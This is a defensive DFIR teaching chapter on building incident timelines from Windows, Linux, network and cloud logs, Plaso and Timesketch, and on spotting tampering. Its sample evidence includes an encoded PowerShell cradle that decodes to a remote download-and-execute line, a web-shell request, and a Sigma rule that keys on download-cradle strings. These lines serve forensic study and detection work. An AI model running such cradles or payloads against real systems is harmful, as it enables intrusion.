Log-Based Investigation & Timeline Analysis
This is Chapter 7 of the DFIR notebook. The previous chapters taught you how to acquire and read individual artifacts — a memory image, a registry hive, an ext4 inode. This chapter is about the discipline that ties all of those artifacts together into one narrative: timeline analysis. An investigation is not finished when you have a pile of interesting findings; it is finished when you can lay those findings on a single time axis and say, with evidence, “the attacker got in here, did this, moved there, and left then.”
Logs are the connective tissue of that narrative. Almost every action an attacker takes leaves a record somewhere — an authentication event, a process creation, a DNS query, an API call. The problem is never that there are too few logs. It is that there are millions of them, spread across a dozen formats and three timezones, most of them noise, and the twelve lines that matter are buried in the middle. Learning to find those twelve lines and prove their order is the single most valuable skill in incident response.
Everything in this chapter is for lawful work: incident response on systems and accounts you are authorised to examine, forensic labs, and DFIR/CTF images. Collect with a documented chain of custody, hash before and after, and never point collection or timeline tooling at infrastructure you don’t own or have written authority over.
Part 1: What a Log Actually Is
Section titled “Part 1: What a Log Actually Is”Before touching a single tool, get precise about the raw material. A log is an append-only sequence of records, each record describing one event — something that happened at a point in time, as observed by one component. That definition hides three ideas that trip up beginners constantly.
A record is an observation, not the truth. A Windows event 4624
does not mean “a user logged on.” It means “the Local Security Authority
believed a logon succeeded and chose to write a record about it.” If
the attacker is SYSTEM, they can stop that service, edit the log, or
never generate the event at all. Every log line is testimony from a
witness who may be compromised. Good analysts weigh logs like testimony
— corroborated by independent witnesses, never trusted alone.
An event has at least two timestamps, usually more. There is the time the event occurred, the time it was recorded, the time it was forwarded to a SIEM, and the time it was indexed. These differ — sometimes by milliseconds, sometimes by hours if a host’s clock is wrong or a forwarder was backed up. Confusing “event time” with “ingest time” is the most common way a timeline goes wrong.
A log line is semi-structured. Even “unstructured” syslog has a grammar: a priority, a timestamp, a hostname, a tag, and a message. Structured logs (JSON, EVTX, Windows XML) make every field explicit. The whole game of log analysis is turning heterogeneous records into a common schema so you can sort them on one axis.
Here is the anatomy of a classic syslog line, field by field:
Mar 14 04:12:07 web01 sshd[20413]: Failed password for invalid user admin from 203.0.113.44 port 51224 ssh2| Field | Value | Meaning |
|---|---|---|
| Timestamp | Mar 14 04:12:07 | Local host time, no year, no timezone — a notorious weakness |
| Hostname | web01 | The host that emitted the record (or the relay, if forwarded) |
| Program/tag | sshd | The process name that logged it |
| PID | 20413 | Process ID, lets you correlate multiple lines from one daemon instance |
| Message | Failed password for invalid user admin from 203.0.113.44 ... | Free-text payload — the part you actually grep |
That single missing year is why so many syslog timelines drift. The modern fix is RFC 5424 / RFC 3339 timestamps with a full date, sub-second precision, and an explicit offset:
2027-03-14T04:12:07.481293+00:00 web01 sshd[20413]: Failed password ...IR use case: the very first thing you establish on any host is what
timezone its clock is in and whether that clock is correct. On Linux,
timedatectl and the last few systemd-timesyncd/chronyd sync events
tell you. On Windows, the registry key
HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation and the
Time-Service event log do. Write the answer at the top of your notes
before you interpret a single event — a two-hour clock skew silently
mis-orders every conclusion you draw.
Part 2: The Log Landscape Across an Estate
Section titled “Part 2: The Log Landscape Across an Estate”A real intrusion crosses many systems, and each keeps its own kind of record. You need a mental map of where evidence lives so that when you form a hypothesis (“they used stolen creds over RDP”) you know exactly which log to open. The diagram below is the estate you should picture.
flowchart TD
subgraph Endpoint
A[Windows Security.evtx]
B[Sysmon Operational.evtx]
C[PowerShell Operational.evtx]
D[Linux auth.log / journald]
E[auditd audit.log]
F[EDR telemetry]
end
subgraph Network
G[Firewall / NGFW]
H[Proxy / web filter]
I[DNS resolver logs]
J[NetFlow / Zeek]
end
subgraph AppTier
K[Web server access/error]
L[App / DB logs]
M[VPN concentrator]
end
subgraph Cloud
N[AWS CloudTrail]
O[Azure / Entra sign-ins]
P[GCP Cloud Audit]
end
Endpoint --> SIEM[(SIEM / Central Log Store)]
Network --> SIEM
AppTier --> SIEM
Cloud --> SIEM
SIEM --> Timeline[Super Timeline]
Two rules govern how you use this map. First, the most authoritative witness is the one furthest from the attacker’s control. An attacker on a host can rewrite that host’s local logs; they cannot easily rewrite the firewall’s record of the connection, the DNS resolver’s record of the lookup, or the cloud provider’s CloudTrail entry. When local and remote logs disagree, believe the remote one and treat the difference as evidence of tampering.
Second, coverage is never complete, so you reason across gaps. You will almost never have every log. The skill is inferring what must have happened in the dark stretches between the records you do have — and being honest in the report about which links are observed versus inferred.
Part 3: Windows Event Logs — The EVTX Format and the IDs That Matter
Section titled “Part 3: Windows Event Logs — The EVTX Format and the IDs That Matter”Windows is the most log-rich endpoint you will investigate, and its logs
are a binary format called EVTX. You cannot grep a .evtx file
directly; it is a chunked binary structure with a template/substitution
model that stores each event as XML with the static template
deduplicated. Tools parse it into readable XML or JSON.
Teaching the format from scratch. An EVTX file is a 4 KB header
followed by 64 KB chunks. Each chunk has its own header, a string and
template table (so repeated event structures aren’t stored twice), and a
series of event records. Every record has a numeric EventRecordID
(monotonic — gaps mean records were cleared or lost) and an EventID
(the kind of event). The body is “Binary XML,” a token-compressed XML
that expands to the familiar
<Event><System>…</System><EventData>…</EventData></Event>.
The main channels you will open:
| Channel | File | What lives here |
|---|---|---|
| Security | Security.evtx | Logons, privilege use, account/group changes, object access, audit policy changes |
| System | System.evtx | Service installs, driver loads, time changes, crashes |
| Application | Application.evtx | App crashes, install/uninstall |
| Sysmon | Microsoft-Windows-Sysmon/Operational.evtx | Rich process/network/file/registry telemetry (if installed) |
| PowerShell | Microsoft-Windows-PowerShell/Operational.evtx | Script block + module logging |
| WinRM / TerminalServices | various | Remote management, RDP session lifecycle |
The Security event IDs worth memorising — these are the ones that carry an intrusion:
| Event ID | Meaning | Why it matters in a timeline |
|---|---|---|
| 4624 | Successful logon | Look at Logon Type — 2 (interactive), 3 (network), 10 (RDP), 9 (RunAs/seclogo) |
| 4625 | Failed logon | Bursts = brute force / password spray; the Status/Sub-status codes tell you why |
| 4634 / 4647 | Logoff / user-initiated logoff | Bounds a session |
| 4648 | Explicit-credential logon | Lateral movement with runas / stolen creds |
| 4672 | Special privileges assigned | An admin logon just happened |
| 4688 | Process creation (with cmdline if audited) | The backbone of endpoint timelines |
| 4697 | Service installed | Classic persistence / lateral-movement (psexec) |
| 4720 / 4722 / 4728 / 4732 | Account created / enabled / added to global / local group | Attacker persistence |
| 4776 | NTLM credential validation | Pass-the-hash traces on the DC |
| 4768 / 4769 / 4771 | Kerberos TGT / TGS / pre-auth failed | Golden/silver ticket & Kerberoasting traces |
| 1102 | The Security log was cleared | An anti-forensic act — treat as a huge red flag |
| 7045 (System) | A service was installed | Corroborates 4697 |
Logon Type is the single most important sub-field in Windows IR. A
4624 alone says nothing; a 4624 with Type 10 from an external IP
at 04:00 is an RDP intrusion. Memorise the table:
| Logon Type | Name | Typical meaning |
|---|---|---|
| 2 | Interactive | At the keyboard (or via some remote tools) |
| 3 | Network | SMB/file share, net use, remote WMI — pass-the-hash lands here |
| 4 | Batch | Scheduled task |
| 5 | Service | Service starting under an account |
| 7 | Unlock | Workstation unlock |
| 8 | NetworkCleartext | Basic-auth style, creds on the wire |
| 9 | NewCredentials | runas /netonly — token has different network creds |
| 10 | RemoteInteractive | RDP / Terminal Services |
| 11 | CachedInteractive | Logon using cached domain creds (offline) |
Reading EVTX on the command line. On a Linux analysis workstation,
the fastest parser is evtx_dump (from the Rust evtx crate). Install
and use it:
# Install (one binary, no runtime deps)cargo install evtx # or grab a release binary# Dump to JSONL, one event per line — perfect for jq and timelinesevtx_dump -o jsonl Security.evtx > security.jsonl
# Pull every RDP logon (Type 10) with source IP and accountcat security.jsonl \ | jq -r 'select(.Event.System.EventID == 4624) | select(.Event.EventData.LogonType == "10") | [.Event.System.TimeCreated["#attributes"].SystemTime, .Event.EventData.TargetUserName, .Event.EventData.IpAddress] | @tsv'Sample output you’d actually see:
2027-03-14T04:03:11.204Z svc-backup 203.0.113.442027-03-14T04:07:52.881Z svc-backup 203.0.113.442027-03-14T05:19:40.006Z Administrator 10.2.14.9Every flag here matters: -o jsonl emits newline-delimited JSON
(streamable, unlike a giant JSON array); jq -r gives raw output
without quotes; @tsv tab-separates for easy sort/awk. Blue team
usage: the same one-liner run continuously is a detection —
external-IP Type-10 logons to servers that should only see internal RDP.
The Windows-native equivalent, when you are triaging live on the box, is
PowerShell’s Get-WinEvent:
# Failed logons in the last 24h, grouped by source IP — spray detectionGet-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { $_.Properties[19].Value } | # index 19 = IpAddress for 4625 Group-Object | Sort-Object Count -Descending | Select-Object Count, Name -First 10-FilterHashtable pushes the filter down into the event-log engine
(fast, indexed) rather than pulling everything and filtering in
PowerShell (slow). Knowing which property index holds which field is the
fiddly part; (Get-WinEvent -Max 1 ...).Properties lets you enumerate
them.
Part 4: Sysmon and PowerShell — The Richest Endpoint Telemetry
Section titled “Part 4: Sysmon and PowerShell — The Richest Endpoint Telemetry”Stock Windows auditing is thin. Sysmon (System Monitor, a free
Sysinternals driver) is what turns a Windows host into a forensic
goldmine, and you will meet it on nearly every mature network. Teach it
from scratch: Sysmon is a kernel driver plus a service that writes
highly detailed events to its own Microsoft-Windows-Sysmon/Operational
channel, governed by an XML config that decides what to log. Its killer
feature over stock 4688 is that it records process hashes,
parent-child lineage, command lines, network connections, and image
loads in one place.
The Sysmon event IDs to know:
| Sysmon ID | Event | Investigative value |
|---|---|---|
| 1 | Process create | Full cmdline, hashes, ParentImage — build process trees |
| 3 | Network connection | Which process talked to which IP/port — C2 hunting |
| 7 | Image loaded | DLL side-loading, unsigned modules in signed processes |
| 8 | CreateRemoteThread | Classic injection |
| 10 | ProcessAccess | LSASS access → credential dumping |
| 11 | File create | Dropper artifacts, staging |
| 12/13/14 | Registry events | Persistence (Run keys, service configs) |
| 15 | FileCreateStreamHash | Alternate data streams, Mark-of-the-Web |
| 22 | DNS query | Which process resolved which domain |
| 23/26 | File delete | Anti-forensic wiping |
The parent-child chain is the heart of endpoint IR. An attacker’s
powershell.exe looks innocent alone; winword.exe → cmd.exe → powershell.exe -enc … is a macro-borne intrusion you can see at a
glance. Extract that tree from Sysmon:
evtx_dump -o jsonl "Microsoft-Windows-Sysmon%4Operational.evtx" > sysmon.jsonl
jq -r 'select(.Event.System.EventID==1) | [.Event.System.TimeCreated["#attributes"].SystemTime, .Event.EventData.ParentImage, .Event.EventData.Image, .Event.EventData.CommandLine] | @tsv' sysmon.jsonl \ | grep -iE 'winword|excel|outlook'Sample hit:
2027-03-14T03:58:22Z C:\Program Files\Microsoft Office\...\WINWORD.EXE C:\Windows\System32\cmd.exe cmd /c powershell -nop -w hidden -enc SQBFAFgA...PowerShell logging is the other half. Two features matter: Module
Logging (event 4103, what pipelines ran) and Script Block
Logging (event 4104, the actual code, de-obfuscated by the engine
after decoding). Attackers love -EncodedCommand because it hides the
payload from casual eyes — but script-block logging captures the decoded
block, so the base64 is defeated. Decode an -enc blob yourself to
confirm:
echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...' \ | base64 -d | iconv -f UTF-16LE -t UTF-8# -> IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/a.ps1')PowerShell -EncodedCommand is UTF-16LE then base64, which is why the
iconv step is required. Red team usage (for detection tuning):
operators know 4104 exists, so they fragment or dynamically build
strings; the defensive counter is to alert on the presence of
obfuscation itself (high entropy, -enc, FromBase64String, char[]
reassembly) rather than on any one keyword.
Part 5: Linux Logs — auth.log, journald and auditd
Section titled “Part 5: Linux Logs — auth.log, journald and auditd”On Linux the evidence is thinner and easier to rewrite, so you lean harder on corroboration. Three tiers exist.
Tier 1 — the text logs. /var/log/auth.log (Debian/Ubuntu) or
/var/log/secure (RHEL) records authentication: SSH logins, sudo use,
su, PAM sessions. /var/log/syslog and service-specific files
(/var/log/nginx/access.log, /var/log/apache2/) hold the rest. These
are plain text — trivial to grep, equally trivial for a root attacker to
edit, so treat them as leads to corroborate.
# Successful SSH logins with user + source IP, in time ordergrep 'Accepted' /var/log/auth.log \ | awk '{print $1,$2,$3, $9, $11}' # date, user, from-IP# Failed then successful from the same IP = a brute force that finally workedgrep -E 'Failed|Accepted' /var/log/auth.log | grep '203.0.113.44'Tier 2 — journald. systemd’s journald stores logs in an indexed
binary format under /var/log/journal/. You read it with
journalctl, never with a text editor. Its advantage for forensics:
entries carry rich structured fields and a monotonic sequence, and (if
Seal=yes with FSS keys) can be cryptographically tamper-evident.
# Everything sshd did, with full RFC3339 UTC timestamps, from an offline imagejournalctl --directory=/mnt/evidence/var/log/journal \ --utc -o short-iso-precise -u ssh.service
# All events in a tight window during the suspected intrusionjournalctl --directory=/mnt/evidence/var/log/journal \ --since "2027-03-14 03:55:00" --until "2027-03-14 04:20:00" -o json \ > journal-window.json--directory points at an offline copy (crucial — never analyse on the
live victim if you can avoid it), --utc normalises the timezone
problem away, -o json gives you a machine-readable stream for your
timeline. IR use case: journalctl _COMM=sudo or _UID=0 slices
the journal to root activity in seconds.
Tier 3 — auditd. The Linux Audit daemon is the closest thing to
Sysmon: a kernel-level record of syscalls, file access, and command
execution governed by rules in /etc/audit/audit.rules. Its output
(/var/log/audit/audit.log) is verbose and cryptic but authoritative.
Teach the tools: ausearch queries it, aureport summarises it.
# Every command executed by every user (needs an execve audit rule loaded)ausearch -i -m EXECVE --start 03/14/2027 03:00:00 --end 03/14/2027 06:00:00# Who touched /etc/passwdausearch -i -f /etc/passwd# Summary of all commands seenaureport -x --summary-i “interprets” numeric UIDs/syscalls into names, -m selects a
message type, -f filters by file, -x reports by executable. If
auditd was configured with a good rule set before the incident, it is
often the single best Linux witness you’ll have.
The Linux authentication log IDs/keywords worth knowing:
| Keyword / unit | Source | Meaning |
|---|---|---|
Accepted password/publickey | sshd | Successful SSH login |
Failed password | sshd | Failed SSH attempt |
session opened for user | PAM | A session (login, cron, su) started |
sudo: … COMMAND= | sudo | Privilege escalation with the exact command |
useradd/usermod/groupadd | shadow-utils | Account manipulation |
COMM=, EXECVE | auditd | Executed binary + args |
Part 6: Network, DNS, Web and Cloud Logs — the Witnesses Outside the Host
Section titled “Part 6: Network, DNS, Web and Cloud Logs — the Witnesses Outside the Host”Host logs tell you what a machine thinks happened; network and cloud logs tell you what actually crossed the wire or the API, from a vantage point the attacker rarely controls.
Firewall / NetFlow gives you the connection metadata: who talked to
whom, when, how much data. Even without payload, a spike of outbound
bytes to a never-before-seen IP at 3 a.m. is exfiltration. Zeek
(formerly Bro) turns raw packets into rich structured logs (conn.log,
dns.log, http.log, ssl.log, files.log) and is the network
analyst’s timeline source of choice.
# Zeek conn.log: top talkers by bytes sent to external hostscat conn.log | zeek-cut id.orig_h id.resp_h resp_bytes orig_bytes duration \ | sort -k4 -nr | headDNS logs are disproportionately valuable. Almost all C2 and exfiltration resolves a domain first, so DNS is often where you first see the badness — and DNS tunnelling (long, high-entropy subdomains) shows up as anomalously large TXT/A query volumes to one parent domain.
# Zeek dns.log: suspiciously long or high-entropy subdomains (possible tunnel)cat dns.log | zeek-cut query | awk '{ if (length($1) > 50) print }' | sort | uniq -c | sort -nrWeb server access logs are the front door for internet-facing intrusions. Combined Log Format is grep-friendly:
203.0.113.44 - - [14/Mar/2027:03:41:19 +0000] "POST /uploads/shell.php HTTP/1.1" 200 32 "-" "curl/8.4.0"# First appearance of a web shell being hit, and everything from that IP aftergrep 'shell.php' access.log | head -1grep '203.0.113.44' access.log | awk '{print $4,$6,$7,$9}'Cloud control-plane logs are increasingly the only durable record. AWS CloudTrail captures every API call — who assumed which role, who created a user, who snapshotted a volume — as JSON, in a bucket outside the compromised instance. This is the “furthest from attacker control” witness for cloud intrusions.
# CloudTrail: find every action taken by a suspect access key, in time orderjq -r '.Records[] | select(.userIdentity.accessKeyId=="AKIAEXAMPLE12345") | [.eventTime, .eventName, .sourceIPAddress, .awsRegion] | @tsv' \ cloudtrail-*.json | sortSample output revealing an intrusion narrative:
2027-03-14T03:44:02Z GetCallerIdentity 203.0.113.44 us-east-12027-03-14T03:44:31Z ListBuckets 203.0.113.44 us-east-12027-03-14T03:46:10Z CreateUser 203.0.113.44 us-east-12027-03-14T03:46:44Z AttachUserPolicy 203.0.113.44 us-east-12027-03-14T03:52:19Z CreateAccessKey 203.0.113.44 us-east-1That five-line sequence — identity check, enumeration, new user, admin policy, new key — is the persistence playbook, visible entirely in one log.
Azure / Entra ID sign-in logs are the equivalent for the Microsoft
cloud, and identity is the new perimeter there. Each sign-in record
carries the user, the app, the source IP, the device, the
conditional-access result, and — critically — the MFA result and
a risk score from Entra ID Protection. Two fields catch most modern
intrusions: a sign-in from an “unfamiliar location”/anonymised IP, and
the presence of a successful sign-in immediately after a burst of MFA
prompts (MFA-fatigue/push-bombing). In KQL against the SigninLogs
table:
SigninLogs| where ResultType == 0 // successful sign-ins| where RiskLevelDuringSignIn in ("high","medium")| project TimeGenerated, UserPrincipalName, IPAddress, Location, AppDisplayName, AuthenticationRequirement| sort by TimeGenerated ascResultType == 0 is success; RiskLevelDuringSignIn is Entra’s own
verdict; pairing a risky, successful sign-in with a new OAuth app
consent (AuditLogs “Consent to application”) is the classic
business-email-compromise chain. GCP mirrors all of this in Cloud
Audit Logs (protoPayload.methodName,
authenticationInfo.principalEmail), queried with the same
filter-then-summarise shape in Log Explorer or BigQuery.
The lesson across all three clouds is identical: the control-plane log lives outside the workload, records identity and API actions the attacker cannot erase, and should be the first place you look for a cloud intrusion — not the last.
Part 7: Normalisation and Enrichment — Making Logs Comparable
Section titled “Part 7: Normalisation and Enrichment — Making Logs Comparable”You now have Windows XML, Linux text, Zeek TSV, and cloud JSON. They cannot be sorted together until they share a schema. Normalisation maps every source into common fields; enrichment adds context (geo-IP, asset ownership, threat-intel matches) so a line means something.
A workable minimal common schema:
| Field | Example | Notes |
|---|---|---|
@timestamp | 2027-03-14T04:03:11.204Z | Always UTC, always RFC 3339 — the sort key |
host | web01 | Source host |
source_type | windows_security | Which log produced it |
event_action | logon_success | Normalised verb (map 4624 → logon_success) |
user | svc-backup | Actor |
src_ip / dst_ip | 203.0.113.44 | Network endpoints |
process / parent | cmd.exe / winword.exe | Endpoint context |
raw | {…} | The original record, always kept |
The Elastic Common Schema (ECS) and OSSEM are industry-standard
field dictionaries; adopting one saves you from re-inventing field
names. The cardinal rule: normalise into a copy, never destroy the raw
record. Keep raw so you can always go back to source, and so the
report can quote the original.
Enrichment steps that repeatedly pay off:
- Geo/ASN on every external IP — turns
203.0.113.44into “hosting provider in country X,” instantly flagging impossible-travel logons. - Timezone unification — convert every timestamp to UTC at ingest; keep the original offset in a side field.
- Known-good baselining — tag events matching normal admin behaviour so they drop out of the noise.
- Threat-intel matching — flag any IP/domain/hash that appears in your intel feeds (covered in the next notebook).
flowchart LR
R[Raw logs] --> P[Parse to fields]
P --> N[Normalise to common schema]
N --> U[Unify to UTC]
U --> E[Enrich: geo, ASN, intel, asset]
E --> T[(Super Timeline)]
Part 8: The Super Timeline — Concept and Plaso from Scratch
Section titled “Part 8: The Super Timeline — Concept and Plaso from Scratch”A super timeline is a single chronological list of every
timestamped artifact on a system — not just log events, but file MACB
times, registry key write times, browser history, prefetch, event logs,
$MFT records — all merged and sorted. The value is that patterns
invisible in any one source jump out when everything is interleaved: a
malicious DLL written to disk (filesystem timestamp) 40 seconds before
a service installed (event log) that then made a network connection
(Sysmon) tells a story no single artifact could.
The canonical tool is Plaso, driven by two commands:
log2timeline.py (extract every timestamp from an image into a
database) and psort.py (filter, sort, and output that database
into a readable timeline). Teach it from scratch.
What Plaso is: an open-source Python framework of ~200 “parsers,”
each of which knows how to extract timestamps from one artifact type
(EVTX, $MFT, SQLite browser DBs, syslog, prefetch, registry, etc.).
You point it at a mounted image or triage collection; it runs every
applicable parser and writes a .plaso storage file — essentially a
giant, indexed table of (timestamp, source, description) rows.
Install on a Kali/analysis box:
# Plaso ships as a well-maintained packagesudo apt install plaso # or: pip install plasolog2timeline.py --versionStep 1 — build the storage file. Run against a mounted evidence image or a KAPE/UAC triage folder:
log2timeline.py \ --storage-file case42.plaso \ --partitions all \ --hashers md5 \ -z UTC \ /mnt/evidence/Flag by flag: --storage-file names the output DB; --partitions all
processes every partition, not just the first; --hashers md5 records a
hash of each file it parses (handy for later IOC matching); -z UTC
sets the assumed timezone for logs that lack one — set this to the
host’s real timezone, which you established back in Part 1. This step
can take minutes to hours; it is CPU-bound and parallel.
Step 2 — narrow before you look. A full super timeline of a
workstation can be tens of millions of rows — unusable if dumped whole.
Always filter to a window and/or artifact set with psort.py. First,
sanity-check the range:
psort.py -o l2tcsv case42.plaso "date > '2027-03-14 03:00:00' AND date < '2027-03-14 06:00:00'" \ -w intrusion-window.csvThe quoted string is a Plaso event filter — a mini query language.
You can filter on date, parser, data_type, filename, and more.
Restricting to the three-hour window turns millions of rows into a few
thousand.
Step 3 — read the l2tcsv columns. The l2tcsv output format has a
fixed, well-known column layout:
| Column | Meaning |
|---|---|
date, time, timezone | When the event happened |
MACB | Which filesystem timestamp(s) this row represents (Modified/Accessed/Changed/Born) |
source, sourcetype | Which parser/artifact produced it (e.g. EVT, FILE, REG, WEBHIST) |
type | The specific timestamp meaning (“Content Modification Time”, “Creation Time”) |
user, host | If known |
short, desc | The human description — the part you read |
filename, inode, notes | Provenance back to source |
A few interleaved rows from a real timeline tell the story instantly:
2027-03-14 03:58:22, FILE, ...B, "C:\Users\Public\svc.dll (file created)"2027-03-14 03:58:41, EVT, Service Control Manager, "A service was installed: 'WinBackupSvc' -> C:\Users\Public\svc.dll"2027-03-14 03:58:43, EVT, Sysmon, "Network connection: svc.exe -> 203.0.113.44:443"2027-03-14 03:59:05, REG, Run key, "HKLM\...\Run\Updater set to C:\Users\Public\svc.dll"Written → installed → beaconed → persisted, in 43 seconds. That is what a super timeline is for.
Part 9: Timesketch — Collaborative Timeline Analysis at Scale
Section titled “Part 9: Timesketch — Collaborative Timeline Analysis at Scale”CSV timelines don’t scale to team investigations or millions of rows. Timesketch is the open-source web app (from the same lineage as Plaso) built for exactly this: import one or more Plaso files or JSONL, then search, tag, star, comment, and annotate collaboratively on a shared timeline, with multiple analysts building the story together.
Teach it from scratch. Timesketch is a Flask app backed by OpenSearch/Elasticsearch for the timeline data and Postgres for case metadata. You run it via Docker Compose, create a “sketch” (a case), and add “timelines” (imported data sources) to it.
# Import a Plaso file straight into a sketch via the CLI clienttimesketch_importer --host https://timesketch.local \ --sketch_id 42 --timeline_name "web01 supertimeline" case42.plasoInside a sketch you work with:
- Search using a Lucene-style query bar —
event_identifier:4624 AND logon_type:10finds RDP logons across every imported host at once. - Stars and tags — mark the twelve lines that matter
(
tag:suspicious,star) so the narrative survives across analysts and days. - Comments — attach your reasoning to a specific event (“first attacker RDP; source IP geolocates to hosting provider”).
- Saved views & the Story feature — assemble starred events into a written narrative that becomes the backbone of the report.
- Analyzers — plugins that auto-tag (browser artifacts, sigma matches, similarity), doing first-pass triage for you.
- Aggregations & histograms — a bar chart of events-per-minute makes the intrusion window visually obvious as a spike.
Team IR use case: in a real breach, one analyst works the endpoint timeline, another the cloud logs, a third the network — all pinning findings to the same Timesketch sketch on one time axis. The lead reads the merged, tagged timeline and writes the story from starred events. This is how modern IR teams avoid the classic failure of three people independently discovering the same three facts.
Part 10: Pivoting and the Four-Corner Technique
Section titled “Part 10: Pivoting and the Four-Corner Technique”Timeline analysis is not “read from the top.” It is pivoting: find one solid anchor, then expand outward along shared attributes (a user, an IP, a process, a host, a time window), letting each new fact become the next anchor. The disciplined version is often taught as the four corners of an event — from any single event you can pivot on who (user/account), what (process/file/hash), where (host/IP), and when (time window).
flowchart TD
A[Anchor event:<br/>RDP logon, svc-backup, 203.0.113.44, 04:03] --> W[WHO: all svc-backup activity]
A --> H[WHERE: all 203.0.113.44 connections]
A --> P[WHAT: processes in that session]
A --> T[WHEN: everything ±10 min]
W --> S[New anchors]
H --> S
P --> S
T --> S
S --> A2[Next anchor, repeat outward]
A worked pivot. Suppose your anchor is a 4624 Type-10 for
svc-backup from 203.0.113.44 at 04:03.
- WHO — pull every event for
svc-backup: you find it also ran4688events forcmd.exeandrundll32.exeat 04:05, and a4720(account created:svc-backup2) at 04:11. Persistence spotted. - WHERE — pull every event involving
203.0.113.44: the firewall shows it connected to three other hosts at 04:20 — lateral movement, new anchors. - WHAT — hash the binary
rundll32.exeloaded; the hash matches a known loader in your intel — confirms tooling. - WHEN — everything ±10 minutes of 04:03 on that host: a Sysmon
10(LSASS access) at 04:06 — credential dumping, explaining how they got creds for the lateral moves.
Each corner produced new anchors; iterate until the edges of the intrusion stop producing new leads. The art is knowing when to stop — when every new pivot only returns benign, baseline activity.
Impossible-travel and velocity checks are a special pivot on WHO+WHERE+WHEN: the same account authenticating from two geographies faster than a plane could carry a human is either shared credentials or compromise. Enrichment with geo-IP (Part 7) makes this a one-query check.
Part 11: Timestomping, Log Tampering and Anti-Forensics
Section titled “Part 11: Timestomping, Log Tampering and Anti-Forensics”Attackers know you build timelines, so they attack the timestamps. You must be able to detect when the record has been manipulated — because a manipulated timeline that you trust is worse than no timeline.
Timestomping is altering a file’s MACB timestamps (e.g. with
timestomp, PowerShell Set-ItemProperty, or touch -d on Linux) to
make a malicious file blend into the OS install date. The classic tells:
- On NTFS, every file has two sets of timestamps:
$STANDARD_INFORMATION($SI, what tools and the timestomp API change) and$FILE_NAME($FN, harder to change, updated by the OS on rename/move). When$SIpredates$FN, or$SItimes are suspiciously round (.000000000nanoseconds) while neighbours have random nanoseconds, the file was stomped. Plaso surfaces both; compare them.
# Compare $SI vs $FN in a super timeline for one filegrep 'svc.dll' intrusion-window.csv | grep -E 'FILE'# $SI Created 2019-... but $FN Created 2027-03-14 04:03 = stomped- Sequence-number sanity: NTFS
$MFTentry numbers and USN journal sequence numbers are monotonic; a file whose content timestamps predate the OS install but whose$MFTrecord number sits among files created last week is impossible naturally. - Nanosecond precision: real OS timestamps have full-resolution
sub-second values; API-set times are often zeroed. A cluster of
.0000000files is a red flag.
Log clearing and gaps. Event 1102 (Security log cleared) and 104
(other log cleared) are explicit anti-forensic acts. But smarter
attackers delete selective records or stop the service. Detect this
with:
EventRecordIDgaps — records are monotonic; a jump from 84120 to 84139 means 18 records vanished from an otherwise contiguous stream.- Service-stop bracketing — a
Windows Event Logservice stop (Systemevent7040/7036) followed by a gap and a restart brackets a blind window the attacker created deliberately. - Cross-witness contradiction — the firewall logs a connection at 04:03 that the host’s local logs have no trace of. The absence is the evidence.
On Linux, since text logs are trivially editable, corroborate with
journald’s monotonic sequence and, where enabled, Forward Secure
Sealing (journalctl --verify), which cryptographically detects
post-hoc edits. auditd’s own logs about auditd being stopped
(type=DAEMON_END) bracket blind windows too.
The principle: you cannot prove nothing was tampered, but you can prove tampering happened, and you can build the timeline from the witnesses the attacker could not reach. Always state in the report which portions rest on tamper-resistant sources.
Part 12: Sigma — Portable Detection Logic for Triage
Section titled “Part 12: Sigma — Portable Detection Logic for Triage”When you have a normalised timeline, you want to run known-bad
detections across it fast. Sigma is the “write once, run anywhere”
rule format for log detections: a YAML rule describing a suspicious
pattern that a converter (sigma/pySigma) compiles into the query
language of your platform (Splunk SPL, Elastic DSL, OpenSearch, etc.).
Teach it from scratch: a Sigma rule names a logsource, a detection
(field/value selections and a condition), and metadata (title, level,
MITRE ATT&CK tags).
title: Suspicious PowerShell Download Cradlelogsource: product: windows service: powershelldetection: selection: EventID: 4104 ScriptBlockText|contains: - 'Net.WebClient' - 'DownloadString' - 'IEX' condition: selectionlevel: hightags: - attack.execution - attack.t1059.001Compile and run it against your data:
# Convert a Sigma rule to an Elasticsearch/OpenSearch querysigma convert -t opensearch -p ecs_windows download_cradle.yml# Or run a whole ruleset over EVTX offline with Chainsaw (below)Chainsaw and Hayabusa are two fast tools that apply Sigma rules directly to EVTX files offline — perfect for triage before you build a full Plaso timeline:
# Chainsaw: hunt an EVTX folder with a Sigma ruleset + built-in detectionschainsaw hunt ./evtx_logs/ -s sigma_rules/ --mapping mappings/sigma-event-logs.yml \ -r rules/ --csv --output triage/The output is a triage CSV of every rule hit with timestamps — a shortlist of the events worth pulling into the timeline. Blue team usage: the same Sigma rules that triage a dead-box image run live in the SIEM as detections, so investigation and monitoring share one detection library. This is why Sigma has become the lingua franca of detection engineering.
Part 13a: Collection Order, Volatility and Chain of Custody for Logs
Section titled “Part 13a: Collection Order, Volatility and Chain of Custody for Logs”Before you can timeline logs, you have to collect them without destroying evidence, and in the right order. RFC 3227 (“Guidelines for Evidence Collection and Archiving”) gives the order of volatility — collect the most ephemeral evidence first, because the act of collecting slower evidence can overwrite faster evidence.
flowchart TD
V1[1. CPU registers, cache] --> V2[2. RAM / running processes / network state]
V2 --> V3[3. Live logs still in memory buffers]
V3 --> V4[4. On-disk logs: EVTX, journald, auth.log]
V4 --> V5[5. Remote/centralised logs: SIEM, cloud audit]
V5 --> V6[6. Archives, backups, physical media]
For log evidence specifically, the practical order is: capture live
volatile state (memory, netstat, running processes — see the
memory-forensics chapter) first; then the on-disk logs; then pull the
centralised copies. The reason is subtle: if you reboot a Linux box to
image it, journald volatile logs held in /run/log/journal (tmpfs)
vanish, and any log buffered but not yet flushed is lost. Grab volatile
logs before you power down.
Chain of custody for logs means every collected log file gets:
- A cryptographic hash at collection time, recorded in a manifest, and re-verified before analysis and before court.
- A provenance note: which host, which path, collected by whom, when (in UTC), with what tool and version.
- Write-once handling — copy to read-only media or a WORM store; analyse only copies.
